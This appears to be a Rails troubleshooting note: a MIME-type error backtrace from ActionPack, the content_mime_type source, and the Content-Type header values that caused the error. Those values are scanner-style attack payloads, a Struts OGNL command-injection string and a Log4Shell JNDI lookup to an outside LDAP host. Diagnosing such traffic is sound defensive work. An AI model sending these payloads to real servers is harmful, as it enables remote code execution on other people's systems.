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Excerpt from the error and backtrace:

ActionView::Template::Error: <diverse-strings-with-characters> is not a valid MIME type

/path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/mime_negotiation.rb:31:in `rescue in block in content_mime_type'
  /path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/mime_negotiation.rb:24:in `block in content_mime_type'
/path/shared/bundle/ruby/3.1.0/gems/rack-2.2.8/lib/rack/request.rb:69:in `fetch'
 /path/shared/bundle/ruby/3.1.0/gems/rack-2.2.8/lib/rack/request.rb:69:in `fetch_header'
/path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/mime_negotiation.rb:23:in `content_mime_type'
  /path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/request.rb:269:in `media_type'
/path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/request.rb:355:in `form_data?'
  /path/shared/bundle/ruby/3.1.0/gems/rack-2.2.8/lib/rack/request.rb:445:in `POST'
  /path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/request.rb:400:in `block (2 levels) in POST'
/path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/parameters.rb:88:in `parse_formatted_parameters'
  /path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/request.rb:399:in `block in POST'
/path/shared/bundle/ruby/3.1.0/gems/rack-2.2.8/lib/rack/request.rb:69:in `fetch'
 /path/shared/bundle/ruby/3.1.0/gems/rack-2.2.8/lib/rack/request.rb:69:in `fetch_header'
/path/shared/bundle/ruby/3.1.0/gems/actionpack-6.1.7.6/lib/action_dispatch/http/request.rb:398:in `POST'

# Examples for <diverse-strings-with-characters>
"%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('x-tenable'"

"${jndi:ldap://127.0.0.1#log4shell-generic-iV06hYVdJen6hJRK5n3U.w.nessus.org/nessus}"

"%{(#_='multipart/form-data').(#dm=@ognl.ognlcontext@default_member_access).(#_memberaccess?(#_memberaccess=#dm):((#container=#context['com.opensymphony.xwork2.actioncontext.container']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.getexcludedpackagenames().clear()).(#ognlutil.getexcludedclasses().clear()).(#context.setmemberaccess(#dm)))).(#iswin=(@java.lang.system@getproperty('os.name').tolowercase().contains('win'))).(#cmds=(#iswin?{'cmd.exe'" 

Ruby method ActionDispatch::Http::MimeNegotiation#content_mime_type:

# File actionpack/lib/action_dispatch/http/mime_negotiation.rb, line 36
def content_mime_type
  fetch_header("action_dispatch.request.content_type") do |k|
    v = if get_header("CONTENT_TYPE") =~ /^([^,;]*)/
      Mime::Type.lookup($1.strip.downcase)
    else
      nil
    end
    set_header k, v
  rescue ::Mime::Type::InvalidMimeType => e
    raise InvalidType, e.message
  end
end